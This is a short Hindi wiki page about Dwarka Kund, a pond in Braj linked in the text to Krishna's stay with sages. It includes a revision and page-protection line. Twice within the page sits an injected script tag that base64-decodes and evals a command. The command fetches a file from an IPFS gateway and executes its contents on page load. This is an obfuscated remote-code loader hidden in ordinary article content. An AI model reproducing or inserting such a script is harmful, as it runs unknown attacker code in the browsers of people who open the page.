द्वारका कुण्ड
Anand Chauhan (चर्चा | योगदान) द्वारा परिवर्तित ०८:०९, २७ जनवरी २०१० का अवतरण ("द्वारका कुण्ड" सुरक्षित कर दिया ([edit=sysop] (indefinite) [move=sysop] (indefinite)))
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
पन्ना बनने की प्रक्रिया में है। आप इसको तैयार कर सकते हैं। हिंदी (देवनागरी) टाइप की सुविधा संपादन पन्ने पर ही उसके नीचे उपलब्ध है। |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
द्वारका कुण्ड / Dwarika Kund
श्री कृष्ण ने यहाँ पर द्वार का से ब्रज में पधारकर महर्षियों के साथ शिविर बनाकर निवास अवस्थित किया था । द्वारका कुण्ड, सोमती कुण्ड, मान कुण्ड और बलभद्र कुण्ड– ये चारों कुण्ड परस्पर सन्निकट अवस्थित हैं । साँचा:कुण्ड